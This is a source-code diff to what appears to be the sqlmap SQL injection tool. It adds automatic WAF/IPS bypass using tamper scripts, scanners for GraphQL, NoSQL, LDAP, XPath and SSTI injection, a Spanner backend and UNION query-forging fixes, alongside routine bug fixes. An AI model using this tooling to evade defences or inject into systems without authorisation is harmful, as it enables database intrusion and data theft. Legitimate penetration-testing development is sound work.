+                logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name)
+                logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name)
+                retVal = injection
+                return retVal
+
+            if kb.droppingRequests and count >= 2:
+                logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass")
+                break
+    finally:
+        conf.technique = savedTechnique
+        if retVal is None:      # nothing worked - leave tampering untouched
+            kb.tamperFunctions = savedTamper
+            # honest bail: say it could not be bypassed and what to try manually
+            logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)")
+
+    return retVal
+
 def _showInjections():
     if conf.wizard and kb.wizardMode:
         kb.wizardMode = False
@@ -181,9 +235,29 @@ def _showInjections():
         conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
         conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
     else:
+        # --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
+        # printing them (the human-readable injection points are rendered just below)
+        if conf.reportJson:
+            conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
+            conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
+
         data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
         conf.dumper.string(header, data)
 
+    # when results were resumed (no test requests this run), nudge if the session file is stale -
+    # this is the common "why is it showing old/unexpected results?" confusion
+    if kb.testQueryCount == 0 and not conf.freshQueries:
+        try:
+            days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600))
+        except (OSError, IOError, TypeError):
+            days = 0
+
+        if days >= HASHDB_STALE_DAYS:
+            warnMsg = "results above were resumed from a session file last updated %d days ago, " % days
+            warnMsg += "so they may be stale. Rerun with '--flush-session' to retest "
+            warnMsg += "or '--fresh-queries' to ignore cached query results"
+            logger.warning(warnMsg)
+
     if conf.tamper:
         warnMsg = "changes made by tampering scripts are not "
         warnMsg += "included in shown payload content(s)"
@@ -431,13 +505,21 @@ def start():
                     infoMsg = "testing URL '%s'" % targetUrl
                     logger.info(infoMsg)
 
+            if conf.graphql and PLACE.GET not in conf.parameters:
+                # graphqlScan() is self-contained and operates on the GraphQL
+                # document, not on HTTP parameters. A dummy GET parameter keeps
+                # _setRequestParams() from appending the URI injection marker ('*')
+                # to a bare endpoint URL (which would break detection under
+                # '--batch'); it is discarded by graphqlScan() on entry.
+                conf.parameters[PLACE.GET] = "x"
+
             setupTargetEnv()
 
-            if not checkConnection(suppressOutput=conf.forms):
+            if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
                 continue
 
             if conf.rParam and kb.originalPage:
-                kb.randomPool = dict([_ for _ in kb.randomPool.items() if isinstance(_[1], list)])
+                kb.randomPool = dict(_ for _ in kb.randomPool.items() if isinstance(_[1], list))
 
                 for match in re.finditer(r"(?si)<select[^>]+\bname\s*=\s*[\"']([^\"']+)(.+?)</select>", kb.originalPage):
                     name, _ = match.groups()
@@ -447,6 +529,34 @@ def start():
 
             checkWaf()
 
+            if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)) and (conf.reportJson or conf.resultsFile):
+                singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti) findings; these are reported on the console only")
+
+            if conf.graphql:
+                from lib.techniques.graphql.inject import graphqlScan
+                graphqlScan()
+                continue
+
+            if conf.nosql:
+                from lib.techniques.nosql.inject import nosqlScan
+                nosqlScan()
+                continue
+
+            if conf.ldap:
+                from lib.techniques.ldap.inject import ldapScan
+                ldapScan()
+                continue
+
+            if conf.xpath:
+                from lib.techniques.xpath.inject import xpathScan
+                xpathScan()
+                continue
+
+            if conf.ssti:
+                from lib.techniques.ssti.inject import sstiScan
+                sstiScan()
+                continue
+
             if conf.nullConnection:
                 checkNullConnection()
 
@@ -605,6 +715,14 @@ def start():
                                 logger.info(infoMsg)
 
                                 injection = checkSqlInjection(place, parameter, value)
+
+                                # WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but
+                                # the standard payloads were blocked -> try to auto-bypass it (request
+                                # fingerprint neutralization and/or a tamper script)
+                                if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \
+                                   and not conf.tamper and not kb.tamperFunctions:
+                                    injection = _autoWafBypass(place, parameter, value) or injection
+
                                 proceed = not kb.endDetection
                                 injectable = False
 
@@ -704,9 +822,13 @@ def start():
                         errMsg += "does not match exclusively True responses."
 
                     if not conf.tamper:
-                        errMsg += " If you suspect that there is some kind of protection mechanism "
-                        errMsg += "involved (e.g. WAF) maybe you could try to use "
-                        errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
+                        if kb.identifiedWafs:
+                            errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs)
+                            errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')"
+                        else:
+                            errMsg += " If you suspect that there is some kind of protection mechanism "
+                            errMsg += "involved (e.g. WAF) maybe you could try to use "
+                            errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
 
                         if not conf.randomAgent:
                             errMsg += " and/or switch '--random-agent'"
@@ -729,7 +851,12 @@ def start():
                     condition = True
 
                 if condition:
-                    action()
+                    try:
+                        action()
+                    finally:
+                        if conf.proof:
+                            from lib.utils.prove import proveExploitation
+                            proveExploitation()
 
         except KeyboardInterrupt:
             if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):

lib/controller/handler.py

@@ -42,6 +42,7 @@ from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
 from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
 from plugins.dbms.access import AccessMap
@@ -73,6 +74,7 @@ from plugins.dbms.sybase import SybaseMap
 from plugins.dbms.vertica import VerticaMap
 from plugins.dbms.virtuoso import VirtuosoMap
 from plugins.dbms.snowflake import SnowflakeMap
+from plugins.dbms.spanner import SpannerMap
 
 def setHandler():
     """
@@ -110,6 +112,7 @@ def setHandler():
         (DBMS.RAIMA, RAIMA_ALIASES, RaimaMap, "plugins.dbms.raima.connector"),
         (DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
         (DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
+        (DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
     ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)

lib/core/agent.py

@@ -51,6 +51,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import GENERIC_SQL_COMMENT
 from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
 from lib.core.settings import INFERENCE_MARKER
+from lib.core.settings import MYSQL_UNION_VALUE_CAST
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
@@ -69,9 +70,9 @@ class Agent(object):
         query = self.cleanupPayload(query)
 
         if query.upper().startswith("AND "):
-            query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
+            query = re.sub(r"(?i)AND ", "SELECT ", query, count=1)
         elif query.upper().startswith(" UNION ALL "):
-            query = re.sub(r"(?i) UNION ALL ", "", query, 1)
+            query = re.sub(r"(?i) UNION ALL ", "", query, count=1)
         elif query.startswith("; "):
             query = query.replace("; ", "", 1)
 
@@ -203,7 +204,7 @@ class Agent(object):
                 origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
 
         if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
-            _ = "%s%s" % (origValue, kb.customInjectionMark)
+            _ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark)
 
             if kb.postHint == POST_HINT.JSON and isNumber(origValue) and not isNumber(newValue) and '"%s"' % _ not in paramString:
                 newValue = '"%s"' % self.addPayloadDelimiters(newValue)
@@ -220,7 +221,7 @@ class Agent(object):
         elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
             if base64Encoding:
                 retVal = paramString.replace("%s%s" % (_origValue, BOUNDED_INJECTION_MARKER), _newValue)
-                match = re.search(r"(%s)=([^&]*)" % re.sub(r" \(.+", "", parameter), retVal)
+                match = re.search(r"(%s)=([^&]*)" % re.escape(re.sub(r" \(.+", "", parameter)), retVal)
                 if match:
                     retVal = retVal.replace(match.group(0), "%s=%s" % (match.group(1), encodeBase64(match.group(2), binary=False, encoding=conf.encoding or UNICODE_ENCODING)))
             else:
@@ -410,6 +411,9 @@ class Agent(object):
         """
 
         if payload:
+            if Backend.isDbms(DBMS.SPANNER):
+                payload = payload.replace(" FROM default.", " FROM ").replace(" FROM `default`.", " FROM ")
+
             for match in re.finditer(r"(?s)%s(.*?)%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER), payload):
                 _ = encodeBase64(match.group(1), binary=False, encoding=conf.encoding or UNICODE_ENCODING, safe=conf.base64Safe)
                 payload = payload.replace(match.group(0), _)
@@ -673,6 +677,49 @@ class Agent(object):
             pass
         return retVal
 
+    @staticmethod
+    def _collapseFieldDelimiterSpace(query):
+        """
+        Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside
+        single/double quoted string literals, so a comma-space inside a literal (e.g. in a
+        WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling
+        mirrors splitFields()/zeroDepthSearch().
+
+        >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t")
+        'SELECT a,b FROM t'
+        >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'")
+        "SELECT a,b FROM t WHERE name='John, Jr'"
+        """
+
+        retVal = []
+        quote = None
+        index = 0
+        length = len(query)
+
+        while index < length:
+            char = query[index]
+            if quote:
+                retVal.append(char)
+                if char == quote:
+                    if index + 1 < length and query[index + 1] == quote:  # escaped quote (e.g. '')
+                        retVal.append(query[index + 1])
+                        index += 2
+                        continue
+                    else:
+                        quote = None
+            elif char in ('"', "'"):
+                quote = char
+                retVal.append(char)
+            elif char == ',' and index + 1 < length and query[index + 1] == ' ':
+                retVal.append(',')  # keep the delimiter, drop the single trailing space
+                index += 2
+                continue
+            else:
+                retVal.append(char)
+            index += 1
+
+        return "".join(retVal)
+
     def concatQuery(self, query, unpack=True):
         """
         Take in input a query string and return its processed nulled,
@@ -701,7 +748,7 @@ class Agent(object):
 
         if unpack:
             concatenatedQuery = ""
-            query = query.replace(", ", ',')
+            query = self._collapseFieldDelimiterSpace(query)
             fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
             castedFields = self.nullCastConcatFields(fieldsToCastStr)
             concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
@@ -724,7 +771,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -822,9 +869,9 @@ class Agent(object):
 
         return concatenatedQuery
 
-    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
+    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False):
         """
-        Take in input an query (pseudo query) string and return its
+        Take in input a query (pseudo query) string and return its
         processed UNION ALL SELECT query.
 
         Examples:
@@ -864,10 +911,21 @@ class Agent(object):
         if query.startswith("SELECT "):
             query = query[len("SELECT "):]
 
+        # On MySQL 8+ the retrieved value (connection collation) cannot be merged in a
+        # UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci),
+        # raising "Illegal mix of collations". Normalizing the charset and forcing an explicit
+        # collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values).
+        # Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on
+        # older versions there is no such collation clash to begin with (unknown version => assumed recent).
+        collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False
+
+        def _collate(value):
+            return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value
+
         unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
 
         if limited:
-            unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
+            unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count))
             unionQuery += fromTable
             unionQuery = self.suffixQuery(unionQuery, comment, suffix)
 
@@ -897,6 +955,9 @@ class Agent(object):
         else:
             infoFile = None
 
+        if not infoFile:
+            query = _collate(query)
+
         for element in xrange(0, count):
             if element > 0:
                 unionQuery += ','
@@ -925,7 +986,7 @@ class Agent(object):
                     unionQuery += ','
 
                 if element == position:
-                    unionQuery += multipleUnions
+                    unionQuery += _collate(multipleUnions)
                 else:
                     unionQuery += char
 
@@ -961,7 +1022,9 @@ class Agent(object):
                         stopLimit = limitRegExp.group(int(limitGroupStop))
                     elif limitRegExp2:
                         startLimit = 0
-                        stopLimit = limitRegExp2.group(int(limitGroupStart))
+                        # Note: query2 (LIMIT without OFFSET) always has exactly one group (the
+                        # count); using limitGroupStart here would IndexError for H2 (groupstart=2)
+                        stopLimit = limitRegExp2.group(1)
                 limitCond = int(stopLimit) > 1
 
             elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
@@ -1045,7 +1108,7 @@ class Agent(object):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
-        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE):
+        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
             limitedQuery += " %s" % limitStr
 
@@ -1063,7 +1126,7 @@ class Agent(object):
                 original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
                 for part in original.split(','):
                     if re.search(r"\b%s\b" % re.escape(field), part):
-                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
+                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1)
                         replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
                         limitedQuery = replacement
                         break
@@ -1114,7 +1177,7 @@ class Agent(object):
             limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
             limitedQuery += "=%d" % (num + 1)
 
-        elif Backend.isDbms(DBMS.MSSQL):
+        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
             forgeNotIn = True
 
             if " ORDER BY " in limitedQuery:
@@ -1226,6 +1289,9 @@ class Agent(object):
     def removePayloadDelimiters(self, value):
         """
         Removes payload delimiters from inside the input string
+
+        >>> agent.removePayloadDelimiters(agent.addPayloadDelimiters("1 AND 1=1")) == "1 AND 1=1"
+        True
         """
 
         return value.replace(PAYLOAD_DELIMITER, "") if value else value
@@ -1233,6 +1299,9 @@ class Agent(object):
     def extractPayload(self, value):
         """
         Extracts payload from inside of the input string
+
+        >>> agent.extractPayload("prefix" + agent.addPayloadDelimiters("1 AND 1=1") + "suffix") == "1 AND 1=1"
+        True
         """
 
         _ = re.escape(PAYLOAD_DELIMITER)
@@ -1257,7 +1326,10 @@ class Agent(object):
             if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
                 prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
             else:
-                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+                # Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a
+                # column/identifier merely starting with "order"/"limit" (e.g. order_id) is not
+                # mistaken for the suffix and the WHERE is not spliced into the wrong place
+                match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I)
                 if match:
                     suffix = match.group(0)
                     prefix = query[:-len(suffix)]

lib/core/bigarray.py

@@ -151,16 +151,32 @@ class BigArray(list):
         with self._lock:
             if not self.chunks[-1] and len(self.chunks) > 1:
                 self.chunks.pop()
+                filename = self.chunks[-1]
+                idx = len(self.chunks) - 1
+
+                if self.cache and self.cache.index == idx and self.cache.dirty:
+                    self.chunks[-1] = self.cache.data
+                    self.cache.dirty = False
+                else:
+                    try:
+                        with open(filename, "rb") as f:
+                            self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+                    except IOError as ex:
+                        errMsg = "exception occurred while retrieving data "
+                        errMsg += "from a temporary file ('%s')" % ex
+                        raise SqlmapSystemException(errMsg)
+
                 try:
-                    filename = self.chunks[-1]
-                    with open(filename, "rb") as f:
-                        self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
                     self._os_remove(filename)
                     self.filenames.discard(filename)
-                except IOError as ex:
-                    errMsg = "exception occurred while retrieving data "
-                    errMsg += "from a temporary file ('%s')" % ex
-                    raise SqlmapSystemException(errMsg)
+                except OSError:
+                    pass
+
+                # Note: the formerly on-disk chunk is now an in-memory list (and its file has been
+                # removed), so any cache entry still pointing at it is stale; dropping it prevents
+                # serving outdated data if that chunk index is later re-dumped (e.g. append after pop)
+                if isinstance(self.cache, Cache) and self.cache.index == idx:
+                    self.cache = None
 
         return self.chunks[-1].pop()
 
@@ -200,9 +216,9 @@ class BigArray(list):
         except (OSError, IOError) as ex:
             errMsg = "exception occurred while storing data "
             errMsg += "to a temporary file ('%s'). Please " % ex
-            errMsg += "make sure that there is enough disk space left. If problem persists, "
+            errMsg += "make sure that there is enough disk space left. If the problem persists, "
             errMsg += "try to set environment variable 'TEMP' to a location "
-            errMsg += "writeable by the current user"
+            errMsg += "writable by the current user"
             raise SqlmapSystemException(errMsg)
 
     def _checkcache(self, index):
@@ -210,9 +226,19 @@ class BigArray(list):
             self.cache = None
 
         if (self.cache and self.cache.index != index and self.cache.dirty):
+            old_filename = self.chunks[self.cache.index]
             filename = self._dump(self.cache.data)
             self.chunks[self.cache.index] = filename
 
+            # Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every
+            # cross-chunk dirty flush orphans one temp file on disk and in self.filenames
+            if isinstance(old_filename, STRING_TYPES):
+                try:
+                    self._os_remove(old_filename)
+                    self.filenames.discard(old_filename)
+                except OSError:
+                    pass
+
         if not (self.cache and self.cache.index == index):
             try:
                 with open(self.chunks[index], "rb") as f:
@@ -223,12 +249,22 @@ class BigArray(list):
                 raise SqlmapSystemException(errMsg)
 
     def __getstate__(self):
-        if self.cache and self.cache.dirty:
-            filename = self._dump(self.cache.data)
-            self.chunks[self.cache.index] = filename
-            self.cache.dirty = False
+        with self._lock:
+            if self.cache and self.cache.dirty:
+                old_filename = self.chunks[self.cache.index]
+                filename = self._dump(self.cache.data)
+                self.chunks[self.cache.index] = filename
 
-        return self.chunks, self.filenames, self.chunk_length
+                if isinstance(old_filename, STRING_TYPES):
+                    try:
+                        self._os_remove(old_filename)
+                        self.filenames.discard(old_filename)
+                    except OSError:
+                        pass
+
+                self.cache.dirty = False
+
+            return self.chunks, self.filenames, self.chunk_length
 
     def __setstate__(self, state):
         self.__init__()

lib/core/common.py

@@ -13,6 +13,7 @@ import contextlib
 import copy
 import functools
 import getpass
+import hmac
 import hashlib
 import inspect
 import io
@@ -49,6 +50,7 @@ from lib.core.bigarray import BigArray
 from lib.core.compat import cmp
 from lib.core.compat import codecs_open
 from lib.core.compat import LooseVersion
+from lib.core.compat import RecursionError
 from lib.core.compat import round
 from lib.core.compat import xrange
 from lib.core.convert import base64pickle
@@ -106,7 +108,6 @@ from lib.core.log import LOGGER_HANDLER
 from lib.core.optiondict import optDict
 from lib.core.settings import BANNER
 from lib.core.settings import BOLD_PATTERNS_REGEX
-from lib.core.settings import BOUNDARY_BACKSLASH_MARKER
 from lib.core.settings import BOUNDED_INJECTION_MARKER
 from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
 from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
@@ -130,7 +131,7 @@ from lib.core.settings import FORCE_COOKIE_EXPIRATION_TIME
 from lib.core.settings import FORM_SEARCH_REGEX
 from lib.core.settings import GENERIC_DOC_ROOT_DIRECTORY_NAMES
 from lib.core.settings import GIT_PAGE
-from lib.core.settings import GITHUB_REPORT_OAUTH_TOKEN
+from lib.core.settings import GITHUB_REPORT_PAT_TOKEN
 from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
 from lib.core.settings import HASHDB_MILESTONE_VALUE
 from lib.core.settings import HOST_ALIASES
@@ -175,6 +176,9 @@ from lib.core.settings import REPLACEMENT_MARKER
 from lib.core.settings import SENSITIVE_DATA_REGEX
 from lib.core.settings import SENSITIVE_OPTIONS
 from lib.core.settings import STDIN_PIPE_DASH
+from lib.core.settings import STRUCTURAL_CLASS_REGEX
+from lib.core.settings import STRUCTURAL_ID_REGEX
+from lib.core.settings import STRUCTURAL_TAG_REGEX
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import TEXT_TAG_REGEX
 from lib.core.settings import TIME_STDEV_COEFF
@@ -655,7 +659,7 @@ def paramToDict(place, parameters=None):
                         kb.base64Originals[parameter] = oldValue = value
                         value = urldecode(value, convall=True)
                         value = decodeBase64(value, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
-                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value, parameters)
+                        parameters = re.sub(r"\b%s(\b|\Z)" % re.escape(oldValue), value.replace('\\', r'\\'), parameters)
                     except:
                         errMsg = "parameter '%s' does not contain " % parameter
                         errMsg += "valid Base64 encoded value ('%s')" % value
@@ -1018,7 +1022,7 @@ def clearColors(message):
 
     retVal = message
 
-    if isinstance(message, str):
+    if isinstance(message, six.string_types):
         retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
 
     return retVal
@@ -1147,8 +1151,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
             return conf.answers
 
         for item in conf.answers.split(','):
-            question = item.split('=')[0].strip()
-            answer = item.split('=')[1] if len(item.split('=')) > 1 else None
+            if '=' in item:
+                question, answer = item.split('=', 1)
+                question = question.strip()
+            else:
+                question, answer = item.strip(), None
             if answer and question.lower() in message.lower():
                 retVal = getUnicode(answer, UNICODE_ENCODING)
             elif answer is None and retVal:
@@ -1439,6 +1446,47 @@ def parseJson(content):
 
     return retVal
 
+def jsonMinimize(content):
+    """
+    Returns an order-independent canonical "leaf-path" projection of a JSON document, used for
+    structure-aware response comparison (so key reordering / whitespace / number formatting do
+    not perturb the comparison ratio, while a changed value or array length does). Returns None
+    (and only None) when content is not parseable JSON, so callers can fall back to text comparison
+
+    >>> jsonMinimize('{"b": 2, "a": 1}') == jsonMinimize('{"a":1,  "b":2}')
+    True
+    >>> jsonMinimize('{"a": {"b": 1}}') == '.a.b=1'
+    True
+    >>> jsonMinimize('not json') is None
+    True
+    >>> jsonMinimize('{}') == ''
+    True
+    """
+
+    lines = []
+
+    def _walk(obj, path):
+        if isinstance(obj, dict):
+            for key in sorted(obj):                                # sorted keys -> key-order/whitespace immune
+                _walk(obj[key], "%s.%s" % (path, key))
+        elif isinstance(obj, (list, tuple)):
+            lines.append("%s.__len__=%d" % (path, len(obj)))       # length change always registers
+            for index in xrange(len(obj)):                         # index kept -> order-sensitive (correct for result sets)
+                _walk(obj[index], "%s[%d]" % (path, index))
+        else:
+            lines.append("%s=%s" % (path, obj))                    # scalar values kept (boolean detection flips values)
+
+    # Note: both json.loads() and the _walk() recursion can hit RecursionError (RuntimeError on
+    # Python 2) on JSON nested past the interpreter limit; treat that as "not usable" and return
+    # None so callers fall back to text comparison, rather than crashing the comparison thread
+    try:
+        data = json.loads(content)
+        _walk(data, "")
+    except (ValueError, TypeError, RecursionError):
+        return None
+
+    return "\n".join(sorted(lines))
+
 def parsePasswordHash(password):
     """
     In case of Microsoft SQL Server password hash value is expanded to its components
@@ -1461,10 +1509,13 @@ def parsePasswordHash(password):
         retVal = "%s\n" % password
         retVal += "%sheader: %s\n" % (blank, password[:6])
         retVal += "%ssalt: %s\n" % (blank, password[6:14])
-        retVal += "%smixedcase: %s\n" % (blank, password[14:54])
 
-        if password[54:]:
-            retVal += "%suppercase: %s" % (blank, password[54:])
+        if password.startswith("0x0200"):
+            retVal += "%shash: %s\n" % (blank, password[14:])
+        else:
+            retVal += "%smixedcase: %s\n" % (blank, password[14:54])
+            if password[54:]:
+                retVal += "%suppercase: %s" % (blank, password[54:])
 
     return retVal
 
@@ -1629,7 +1680,7 @@ def parseTargetDirect():
                 conf.dbmsPass = details.group("pass").strip("'\"")
             else:
                 if conf.dbmsCred:
-                    conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
+                    conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':', 1)
                 else:
                     conf.dbmsUser = ""
                     conf.dbmsPass = ""
@@ -1793,7 +1844,8 @@ def parseTargetUrl():
         errMsg = "invalid target URL port (%d)" % conf.port
         raise SqlmapSyntaxException(errMsg)
 
-    conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not (conf.port == 80 and conf.scheme == "http" or conf.port == 443 and conf.scheme == "https") else "", conf.path))
+    defaultPort = conf.port == 80 and conf.scheme in ("http", "ws") or conf.port == 443 and conf.scheme in ("https", "wss")
+    conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not defaultPort else "", conf.path))
     conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
 
     if urlSplit.query:
@@ -1832,7 +1884,7 @@ def escapeJsonValue(value):
     retVal = ""
 
     for char in value:
-        if char < ' ' or char == '"':
+        if char < ' ' or char in ('"', '\\'):  # Note: backslash must be escaped too, otherwise a '\' in the value corrupts the surrounding JSON string
             retVal += json.dumps(char)[1:-1]
         else:
             retVal += char
@@ -1846,7 +1898,9 @@ def expandAsteriskForColumns(expression):
     the SQL query string (expression)
     """
 
-    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression)
+    # Note: the table-reference group consumes one char / quoted-chunk per repetition ([\w.] not
+    # [\w.]+) to avoid catastrophic backtracking on a 'SELECT * FROM <long.dotted.name>(' input
+    match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.])+)(\s|\Z)", expression)
 
     if match:
         infoMsg = "you did not provide the fields in your query. "
@@ -2031,7 +2085,7 @@ def getFileType(filePath):
     """
     Returns "magic" file type for given file path
 
-    >>> getFileType(__file__)
+    >>> getFileType(paths.SQL_KEYWORDS)
     'text'
     >>> getFileType(sys.executable)
     'binary'
@@ -2219,7 +2273,8 @@ def safeStringFormat(format_, params):
                 match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal)
                 if match:
                     try:
-                        retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count % len(params)], retVal, 1)
+                        _ = getUnicode(params[count % len(params)])
+                        retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, count=1)
                     except re.error:
